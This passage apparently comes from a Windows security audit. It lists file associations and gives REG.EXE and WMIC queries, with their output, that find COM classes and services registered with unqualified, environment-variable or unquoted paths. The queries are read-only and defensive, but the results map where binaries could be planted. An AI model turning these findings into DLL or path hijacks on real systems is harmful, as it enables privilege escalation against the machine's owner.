WAB.AssocProtocol.LDAP="%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /Import "%1"
wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
Windows.CompositeFont="%SystemRoot%\System32\notepad.exe" "%1"
WindowsStore.License=%SystemRoot%\System32\licensemanagershellext.exe "%1"
wmffile="%systemroot%\system32\mspaint.exe" "%1"
WMP.DVR-MSFile="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
WMP.WTVFile="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
WMP11.AssocFile.3G2="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.3GP="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.ADTS="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.AIFF="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
WMP11.AssocFile.ASF="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"
WMP11.AssocFile.ASX="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
WMP11.AssocFile.AU="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
WMP11.AssocFile.AVI="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:8 /Open "%L"
WMP11.AssocFile.CDA="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
WMP11.AssocFile.FLAC="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.M2TS="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"
WMP11.AssocFile.m3u="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.M4A="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.MIDI="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
WMP11.AssocFile.MK3D="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.MKA="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.MKV="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.MOV="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.MP3="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.MP4="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
WMP11.AssocFile.MPEG="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:9 /Open "%L"
WMP11.AssocFile.TTS="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"
WMP11.AssocFile.WAV="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
WMP11.AssocFile.WAX="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
WMP11.AssocFile.wma="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:5 /Open "%L"
WMP11.AssocFile.WMD="%ProgramFiles%\Windows Media Player\wmplayer.exe" /WMPackage:"%L"
WMP11.AssocFile.WMS="%ProgramFiles%\Windows Media Player\wmplayer.exe" /layout:"%L"
WMP11.AssocFile.WMV="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"
WMP11.AssocFile.WMZ="%ProgramFiles%\Windows Media Player\wmplayer.exe" /layout:"%L"
WMP11.AssocFile.WPL="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
WMP11.AssocFile.WVX="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
WMP11.AssocProtocol.DLNA-PLAYSINGLE="%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
WMP11.AssocProtocol.MMS="%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
Wordpad.Document.1="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
WSFFile="%SystemRoot%\System32\WScript.exe" "%1" %*
WSHFile="%SystemRoot%\System32\WScript.exe" "%1" %*
zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1

COM classes registered with an unqualified filename or a pathname containing an environment variable:

( REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "InProcHandler" /K /S /VE
  REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "InProcHandler32" /K /S /VE
  REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "InProcServer" /K /S /VE
  REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "InProcServer32" /K /S /VE
) | FINDSTR.EXE /B /C:"    (Default)    REG_" 1>"%TMP%\Sloppy.tmp"
FINDSTR.EXE /V "\\" "%TMP%\Sloppy.tmp"
FINDSTR.EXE "%" "%TMP%\Sloppy.tmp"

COM servers registered with an unquoted long pathname containing a space:

( REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "LocalServer" /K /S /VE
  REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "LocalServer32" /K /S /VE
) | FINDSTR.EXE /B /C:"    (Default)    REG_" 1>"%TMP%\Sloppy.tmp"
FINDSTR.EXE /I /C:"_SZ    %CommonProgram" "%TMP%\Sloppy.tmp"
FINDSTR.EXE /I /C:"_SZ    %Program" "%TMP%\Sloppy.tmp"
FINDSTR.EXE /I /C:"_SZ    %ProgramFiles%" "%TMP%\Sloppy.tmp"

Command lines of services with unquoted long pathnames containing a space:

WMIC.EXE /APPEND:"%USERPROFILE%\Desktop\Sloppy.log" Service WHERE "NOT PathName LIKE '%.%' OR NOT PathName LIKE '%\\%' OR PathName LIKE '%SystemDrive%\\Program %' OR PathName LIKE '%\\Windows %'" GET Name, PathName, StartName

Name           PathName                                                                    StartName
Sense          "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"  LocalSystem
WdNisSvc       "C:\Program Files\Windows Defender\NisSrv.exe"                              NT AUTHORITY\LocalService
WinDefend      "C:\Program Files\Windows Defender\MsMpEng.exe"                             LocalSystem
WMPNetworkSvc  "C:\Program Files\Windows Media Player\wmpnetwk.exe"                        NT AUTHORITY\NetworkService

COM classes registered with an unqualified filename or a pathname containing an environment variable:

FOR %? IN (InProcHandler InProcHandler32 InProcServer InProcServer32 LocalServer LocalServer32 DefaultIcon ToolBoxBitmap32) DO @WMIC.EXE /APPEND:"%USERPROFILE%\Desktop\Sloppy.log" PATH Win32_ClassicCOMClassSetting WHERE "NOT %? LIKE '%.%' OR NOT %? LIKE '%\\%' OR %? LIKE '%[%]APPDATA[%]%' OR %? LIKE '%[%]CommonProgramFiles[%]%' OR %? LIKE '%[%]CommonProgramFiles(x86)[%]%' OR %? LIKE '%[%]LOCALAPPDATA[%]%' OR %? LIKE '%[%]LOGONSERVER[%]%' OR %? LIKE '%[%]ProgramData[%]%' OR %? LIKE '%[%]ProgramFiles[%]%' OR %? LIKE '%[%]ProgramFiles(x86)[%]%' OR %? LIKE '%[%]PUBLIC[%]%' OR %? LIKE '%[%]SystemDrive[%]%' OR %? LIKE '%[%]SystemRoot[%]%' OR %? LIKE '%[%]TEMP[%]%' OR %? LIKE '%[%]TMP[%]%' OR %? LIKE '%[%]USERPROFILE[%]%' OR %? LIKE '%[%]WINDIR[%]%'" GET ComponentId, ProgId, %?

No Instance(s) Available.

ComponentId                             InprocHandler32                             ProgId
{0e119e63-267a-4030-8c80-5b1972e0a456}  %SystemRoot%\system32\shcore.dll
{1535D95C-2365-447D-9800-B75501A19C0C}  %SystemRoot%\system32\ShareHost.dll
{195C8ACD-5F96-4C67-BBCF-B0CD7073500C}  %SystemRoot%\system32\ShareHost.dll
{1cc78354-9ded-4c1b-bd81-c67b0289a4e5}  %SystemRoot%\system32\windows.storage.dll
{214DFBF5-5983-4B54-996D-B7FC67E0A1FD}  %SystemRoot%\system32\Windows.Storage.dll
{251b1498-5cba-4bee-8242-2f57773151aa}  %SystemRoot%\system32\Windows.Storage.dll
{320690f4-8d7b-4f55-a98d-89ebb01fa776}  %SystemRoot%\system32\Windows.Storage.dll
{36BAA497-8C84-4700-96A1-88E1876EC5B9}  %SystemRoot%\system32\ShareHost.dll
{3c5edebe-16c6-4ee4-906b-436aa1f6ef9e}  %SystemRoot%\system32\twinapi.appcore.dll
{4333fd20-ca5f-4095-a535-edb00455ce66}  %SystemRoot%\system32\shcore.dll
{4347F4C2-6A7D-40DF-9A4F-C185317AF183}  %SystemRoot%\system32\ShareHost.dll
{594103b8-e428-4461-b8d7-dd0ae12d31d9}  %SystemRoot%\system32\Windows.Storage.dll
{70BF9CA8-182C-4BE8-8BE8-1A9217A5D1B5}  %SystemRoot%\system32\Windows.Storage.dll
{73FDDC80-AEA9-101A-98A7-00AA00374959}  ole32.dll                                   WordPad.Document.1
{7513af53-9c75-4ad4-b47e-8d855099e023}  %SystemRoot%\system32\shcore.dll
{788B686B-EA20-41CD-A018-1BFD506194B2}  %SystemRoot%\system32\ShareHost.dll
{7bce3cfb-954c-438f-974c-73a8e0593f1a}  %SystemRoot%\system32\shcore.dll
{7e57f418-1f71-4411-9e09-45884f4f4714}  %SystemRoot%\system32\shcore.dll
{8FF007D1-C3E3-44D5-86AF-2ECB5F663D7C}  %SystemRoot%\system32\Windows.Storage.dll
{a5183349-82de-4bfc-9c13-7d9dc578729c}  %SystemRoot%\system32\Windows.Storage.dll
{B243A9FD-C57A-4D3E-A7CF-21CAED64CB5A}  %systemroot%\system32\CoreUIComponents.dll
{be88f957-42cc-4da7-92cf-9bc35c5d5ee2}  %SystemRoot%\system32\Windows.Storage.dll
{ccc63ae1-56a5-4f9c-abe8-e55674f0c0a6}  %SystemRoot%\system32\Windows.Storage.dll
{CF0E916A-DA25-49CA-A264-1D41C009EED0}  %SystemRoot%\system32\ShareHost.dll
{D3E34B21-9D75-101A-8C3D-00AA001A1652}  ole32.dll                                   Paint.Picture
{da158800-7434-4410-a0cd-e497c3b4a9da}  %SystemRoot%\system32\Windows.Storage.dll
{da620430-5f6c-447d-8091-c5757e275b37}  %SystemRoot%\system32\shcore.dll
{f1f72421-6433-4de9-982d-c8dc12cb569c}  %SystemRoot%\system32\shcore.dll
{fd8d7f86-2f0c-43bb-b225-97ac3c04567b}  %SystemRoot%\system32\shcore.dll

ComponentId                             InprocServer  ProgId
{00020000-0000-0000-C000-000000000046}  avifile.dll
{00020001-0000-0000-C000-000000000046}  avifile.dll
{0002000D-0000-0000-C000-000000000046}  avifile.dll
{0002000F-0000-0000-C000-000000000046}  avifile.dll

ERROR:
Description = Exception occured.

ComponentId                             LocalServer32                                                                                                                                      ProgId
{0002DF01-0000-0000-C000-000000000046}  "%ProgramFiles%\Internet Explorer\iexplore.exe"                                                                                                    InternetExplorer.Application.1
{0002DF02-0000-0000-C000-000000000046}  %SystemRoot%\system32\browser_broker.exe                                                                                                           BrowserBroker.BrowserBroker.1
{00f2b433-44e4-4d88-b2b0-2698a0a91dba}  "%SystemRoot%\System32\rundll32.exe" "%ProgramFiles%\Windows Photo Viewer\PhotoAcq.dll",AutoplayComServerW {00f2b433-44e4-4d88-b2b0-2698a0a91dba}  Microsoft.PhotoAcqHWEventHandler.1
{0289a7c5-91bf-4547-81ae-fec91a89dec5}  %systemroot%\system32\WinrsHost.exe
{031EE060-67BC-460d-8847-E4A7C5E45A27}  "%ProgramFiles%\Windows Media Player\wmprph.exe"
{03837511-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceDataProviderCollection.1
{03837513-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceDataProvider.1
{0383751C-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceSession.1
{03837521-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.DataCollectorSet.1
{03837525-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.DataCollectorSetCollection.1
{03837526-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyDataCollectorSet.1
{03837527-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyDataCollectorSetCollection.1
{03837528-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyTraceSession.1
{03837529-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyTraceSessionCollection.1
{03837530-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceSessionCollection.1
{03837531-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.ServerDataCollectorSet.1
{03837532-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.ServerDataCollectorSetCollection.1
{03837538-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.BootTraceSession.1
{03837539-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.BootTraceSessionCollection.1
{03837546-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.SystemDataCollectorSet.1
{03837547-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.SystemDataCollectorSetCollection.1
{046AEAD9-5A27-4D3C-8A67-F82552E0A91B}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {046AEAD9-5A27-4D3C-8A67-F82552E0A91B}
{047ea9a0-93bb-415f-a1c3-d7aeb3dd5087}  %SystemRoot%\System32\fsquirt.exe
{054AAE20-4BEA-4347-8A35-64A533254A9D}  "%CommonProgramFiles%\microsoft shared\ink\TabTip.exe"
{0823B6F8-F499-4d5e-B885-EA9CB4F43B24}  %SystemRoot%\winsxs\x86_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.18362.411_none_03353754a072182b\TiWorker.exe
{08FC06E4-C6B5-40BE-97B0-B80F943C615B}  %SystemRoot%\System32\ProximityUxHost.exe
{115e13cf-cfe8-4821-b0da-e06aa4d51426}  %SystemRoot%\system32\RdpSaProxy.exe
{1202DB60-1DAC-42C5-AED5-1ABDD432248E}  %SystemRoot%\System32\mobsync.exe
{152EA2A8-70DC-4C59-8B2A-32AA3CA0DCAC}  "%SystemRoot%\System32\RmtTpmVscMgrSvr.exe"
{16A18E86-7F6E-4C20-AD89-4FFC0DB7A96A}  "%SystemRoot%\System32\TpmVscMgrSvr.exe"
{19833350-BF9B-42A1-BDF0-BD1FCBE1FD31}  "%SystemRoot%\System32\ImmersiveTpmVscMgrSvr.exe"
{19C65143-6230-42FA-A58E-7D9FA9BE2EB5}  %SystemRoot%\system32\wkspbroker.exe                                                                                                               WorkspaceBroker.WorkspaceBroker.1
{1A1F4206-0688-4E7F-BE03-D82EC69DF9A5}  %SystemRoot%\System32\mobsync.exe
{1C749B87-568C-4865-8E73-6413F8372CE6}  "%systemroot%\system32\lpksetup.exe"
{1F87137D-0E7C-44d5-8C73-4EFFB68962F2}  %systemroot%\system32\wbem\wmiprvse.exe -secured
{24AC8F2B-4D4A-4C17-9607-6A4B14068F97}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {24AC8F2B-4D4A-4C17-9607-6A4B14068F97}
{25B25D91-69A2-47fa-A375-FDC98189A06F}  %systemroot%\system32\SyncHost.exe
{266C72E7-62E8-11D1-AD89-00C04FD8FDFF}  %SystemRoot%\system32\wbem\scrcons.exe
{2744BC6A-4039-11E3-ABAD-8CFB6188709B}  %SystemRoot%\system32\SettingSyncHost.exe
{2B32ECC3-C3BB-4701-82BB-EB7FE370D999}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {2B32ECC3-C3BB-4701-82BB-EB7FE370D999}
{2F93C02D-77F9-46B4-95FB-8CBB81EEB62C}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {2F93C02D-77F9-46B4-95FB-8CBB81EEB62C}
{32BA16FD-77D9-4AFB-9C9F-703E92AD4BFF}  %SystemRoot%\System32\cttunesvr.exe                                                                                                                cttunesvr.CtTuner.1
{3C296D07-90AE-4FAC-86F9-65EAA8B82D22}  %SystemRoot%\system32\SppExtComObj.exe
{3eef301f-b596-4c0b-bd92-013beafce793}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793}
{4545dea0-2dfc-4906-a728-6d986ba399a9}  %SystemRoot%\System32\ThumbnailExtractionHost.exe
{45597c98-80f6-4549-84ff-752cf55e2d29}  "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Enqueue
{494C063B-1024-4DD1-89D3-713784E82044}  %systemroot%\system32\spool\tools\PrintBrmEngine.exe
{49B2791A-B1AE-4C90-9B8E-E860BA07F889}  %SystemRoot%\system32\mmc.exe                                                                                                                      MMC20.Application.1
{49BD2028-1523-11D1-AD79-00C04FD8FDFF}  %SystemRoot%\system32\wbem\unsecapp.exe
{4AA0A5C4-1B9B-4F2E-99D7-99C6AEC83474}  %SystemRoot%\system32\SettingSyncHost.exe
{4F1DFCA6-3AAD-48E1-8406-4BC21A501D7C}  %SystemRoot%\system32\wksprt.exe                                                                                                                   WorkspaceRuntime.Workspace.1
{515980c3-57fe-4c1e-a561-730dd256ab98}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {515980c3-57fe-4c1e-a561-730dd256ab98}
{549e57e9-b362-49d1-b679-b64d510efe4b}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {549e57e9-b362-49d1-b679-b64d510efe4b}
{6295DF2D-35EE-11D1-8707-00C04FD93327}  %SystemRoot%\System32\mobsync.exe
{62AD5CB4-F168-4B95-8AAE-6F47A75D5D30}  %SystemRoot%\system32\oobe\UserOOBEBroker.exe
{682159d9-c321-47ca-b3f1-30e36b2ec8b9}  %SystemRoot%\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9}
{69F9CB25-25E2-4BE1-AB8F-07AA7CB535E8}  %SystemRoot%\System32\mobsync.exe
{6d8ff8e0-730d-11d4-bf42-00b0d0118b56}  %SystemRoot%\system32\upnpcont.exe
{6d8ff8e8-730d-11d4-bf42-00b0d0118b56}  %SystemRoot%\system32\upnpcont.exe
{722b3793-5367-4446-b6bb-db89b05c1f24}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {722b3793-5367-4446-b6bb-db89b05c1f24}
{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}  %systemroot%\system32\wbem\wmiprvse.exe
{73FDDC80-AEA9-101A-98A7-00AA00374959}  "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE"                                                                                                WordPad.Document.1
{75dff2b7-6936-4c06-a8bb-676a7b00b24b}  %SystemRoot%\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b}
{8086ebd4-43e3-4b19-beb3-f0ea4ecf319c}  %SystemRoot%\System32\sdiagnhost.exe
{884e2049-217d-11da-b2a4-000e7bbb2b09}  %systemroot%\system32\CertEnrollCtrl.exe                                                                                                           X509Enrollment.CX509EnrollmentWebClassFactory.1
{884e2050-217d-11da-b2a4-000e7bbb2b09}  %systemroot%\system32\CertEnrollCtrl.exe                                                                                                           X509Enrollment.CX509EnrollmentHelper.1
{8b455e45-7cc8-4253-af5b-b2cd3313e9cc}  %SystemRoot%\system32\SettingSyncHost.exe
{8D8B8E30-C451-421B-8553-D2976AFA648C}  %SystemRoot%\System32\mobsync.exe
{94E03510-31B9-47a0-A44E-E932AC86BB17}  "%ProgramFiles%\Windows Media Player\wmlaunch.exe"                                                                                                 WMP.Device.1
{9678f47f-2435-475c-b24a-4606f8161c16}  %systemroot%\system32\wsmprovhost.exe
{98068995-54d2-4136-9bc9-6dbcb0a4683f}  %systemroot%\system32\WinrsHost.exe
{98BB952B-B23E-4737-8ABD-B553E7484B38}  %SystemRoot%\system32\DeviceEnroller.exe
{995C996E-D918-4a8c-A302-45719A6F4EA7}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {995C996E-D918-4a8c-A302-45719A6F4EA7}
{9a97f12a-6b73-4dc4-b3c1-e9244c03adac}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {9a97f12a-6b73-4dc4-b3c1-e9244c03adac}
{9aa46009-3ce0-458a-a354-715610a075e6}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6}
{9acf41ed-d457-4cc1-941b-ab02c26e4686}  %systemroot%\system32\wsmprovhost.exe
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
{9C38ED61-D565-4728-AEEE-C80952F0ECDE}  %SystemRoot%\System32\vdsldr.exe
{A19141CE-D197-4C8B-82C9-4995F5303497}  %SystemRoot%\System32\DisplaySwitch.exe
{A55803CC-4D53-404c-8557-FD63DBA95D24}  %SystemRoot%\system32\WPDShextAutoplay.exe
{a677570a-2ba2-4e9a-b2e2-8a02cd8b4fd3}  %SystemRoot%\system32\PrintIsolationHost.exe                                                                                                       PrintSys.CoPrintIsolationHost.1
{aac1009f-ab33-48f9-9a21-7f5b88426a2e}  %SystemRoot%\system32\TSTheme.exe
{AB93B6F1-BE76-4185-A488-A9001B105B94}  %SystemRoot%\System32\BdeUISrv.exe                                                                                                                 BdeUISrv.BDEUILauncher.1
{B43A0C1E-B63F-4691-B68F-CD807A45DA01}  %SystemRoot%\system32\TSWbPrxy.exe                                                                                                                 MSTSWebProxy.MSTSWebProxy.1
{B8558612-DF5E-4F95-BB81-8E910B327FB2}  %SystemRoot%\System32\mobsync.exe
{b8f87e75-d1d5-446b-931c-3f61b97bca7a}  %systemroot%\system32\DXPServer.exe
{B9B05098-3E30-483F-87F7-027CA78DA287}  %SystemRoot%\system32\ApplicationFrameHost.exe
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}  %SystemRoot%\system32\PickerHost.exe
{BF8841C9-378A-4CAD-B4FC-5091366CBC0D}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {BF8841C9-378A-4CAD-B4FC-5091366CBC0D}
{c08afd90-f2a1-11d1-8455-00a0c91f3880}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880}
{C6B167EA-DB3E-4659-BADC-D1CCC00EFE9C}  %SystemRoot%\System32\FodHelper.exe                                                                                                                FodHelper.FodHelperObj.1
{c82192ee-6cb5-4bc0-9ef0-fb818773790a}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a}
{C947D50F-378E-4FF6-8835-FCB50305244D}  %SystemRoot%\system32\mobsync.exe
{CC6D9715-F553-4299-B2CE-6C7851FAA03A}  %SystemRoot%\system32\browser_broker.exe
{cdc32574-7521-4124-90c3-8d5605a34933}  "%ProgramFiles%\Windows Media Player\wmplayer.exe" /BurnCD
{ceff45ee-c862-41de-aee2-a022c81eda92}  %SystemRoot%\explorer.exe /factory,{ceff45ee-c862-41de-aee2-a022c81eda92}
{D3E34B21-9D75-101A-8C3D-00AA001A1652}  %systemroot%\system32\mspaint.exe                                                                                                                  Paint.Picture
{d54378cd-91d8-4e10-a00b-819f9a9efcb1}  %systemroot%\system32\printfilterpipelinesvc.exe                                                                                                   PrintSys.CoFilterPipeline.1
{D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E}  "%ProgramFiles%\Internet Explorer\iexplore.exe" -startmediumtab
{DF4FCC34-067A-4E0A-8352-4A1A5095346E}  "%ProgramFiles%\Internet Explorer\iexplore.exe" -startmanager
{e3a4e5ca-55b2-4a06-b1ab-8fbecc7bca4b}  %SystemRoot%\system32\rundll32.exe /sta {fcc2867c-69ea-4d85-8058-7c214e611c97}
{e44e9428-bdbc-4987-a099-40dc8fd255e7}  %SystemRoot%\system32\OpenWith.exe
{E7B3C0E0-FB47-49F6-A66B-8A7C2E4E7B9C}  %SystemRoot%\splwow64.exe
{ed1d0fdf-4414-470a-a56d-cfb68623fc58}  "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play
{F0A3A195-8D6A-4BC7-BD1F-3B2A2D5807CA}  %SystemRoot%\system32\SettingSyncHost.exe
{F1EFACAA-08A1-461B-9D28-7AA8947889A0}  %systemroot%\system32\SyncHost.exe
{F2506CD7-82C2-43D9-A1D3-F85F5EFE7D09}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {F2506CD7-82C2-43D9-A1D3-F85F5EFE7D09}
{F827EC16-664E-4B05-878C-02D242229094}  %SystemRoot%\system32\CloudNotifications.exe
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}  %SystemRoot%\System32\slui.exe                                                                                                                     SPPUI.SPPUIObjectInteractive.1
{fb479c02-9ec4-4fed-8599-debe037452cb}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {fb479c02-9ec4-4fed-8599-debe037452cb}
{FDA74D11-C4A6-4577-9F73-D7CA8586E10C}  %SystemRoot%\System32\ProximityUxHost.exe
{FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}              Shell.HWEventHandlerShellExecute.1

ComponentId                             DefaultIcon                                               ProgId
{025A5937-A6BE-4686-A844-36FE4BEC8B6D}  %SystemRoot%\System32\powercpl.dll,-1
{031E4825-7B94-4dc3-B131-E946B44C8DD5}  %SystemRoot%\system32\imageres.dll,-1023
{04731B67-D933-450a-90E6-4ACD2E9408FE}  %SystemRoot%\system32\Windows.Storage.Search.dll,-323
{047ea9a0-93bb-415f-a1c3-d7aeb3dd5087}  %SystemRoot%\System32\fsquirt.exe,-107
{05d7b0f4-2121-4eff-bf6b-ed3f69b894d9}  %SystemRoot%\System32\taskbarcpl.dll,-1
{088e3905-0323-4b02-9826-5d99428e115f}  %SystemRoot%\system32\imageres.dll,-184
{0C39A5CF-1A7A-40C8-BA74-8900E6DF5FCD}  %SystemRoot%\system32\imageres.dll,-117
{0DB7E03F-FC29-4DC6-9020-FF41B59E513A}  %SystemRoot%\system32\imageres.dll,-198
{0DF44EAA-FF21-4412-828E-260A8728E7F1}  %SystemRoot%\system32\imageres.dll,-80
{0F563B5F-8EE2-4516-BA0A-544DE058C75B}  %SystemRoot%\System32\FileHistory.exe,-100
{1206F5F1-0569-412C-8FEC-3204630DFB70}  %SystemRoot%\system32\Vault.dll,-1
{148BD520-A2AB-11CE-B11F-00AA00530503}  %systemroot%\System32\mstask.dll,-101
{148BD52A-A2AB-11CE-B11F-00AA00530503}  %systemroot%\System32\mstask.dll,0
{15eae92e-f17a-4431-9f28-805e482dafd4}  %SystemRoot%\system32\imageres.dll,-87
{17cd9488-1228-4b2f-88ce-4298e93e0966}  %SystemRoot%\System32\imageres.dll,-24
{1CF1260C-4DD0-4ebb-811F-33C572699FDE}  %SystemRoot%\system32\imageres.dll,-108
{1FA9085F-25A2-489B-85D4-86326EEDCD87}  %SystemRoot%\System32\wlanpref.dll
{208D2C60-3AEA-1069-A2D7-08002B30309D}  %SystemRoot%\system32\imageres.dll,-25
{20D04FE0-3AEA-1069-A2D8-08002B30309D}  %SystemRoot%\System32\imageres.dll,-109
{21EC2020-3AEA-1069-A2DD-08002B30309D}  %SystemRoot%\System32\imageres.dll,-27
{2227A280-3AEA-1069-A2DE-08002B30309D}  %SystemRoot%\System32\imageres.dll,-26
{22877a6d-37a1-461a-91b0-dbda5aaebc99}  %SystemRoot%\system32\imageres.dll,-117
{24ad3ad4-a569-4530-98e1-ab02f9417aa8}  %SystemRoot%\system32\imageres.dll,-113
{2559a1f0-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-177
{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\shell32.dll,-48
{2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-100
{2559a1f5-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\explorer.exe,-254
{2559a1f7-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-24
{26EE0668-A00A-44D7-9371-BEB064C98683}  %SystemRoot%\System32\imageres.dll,-27
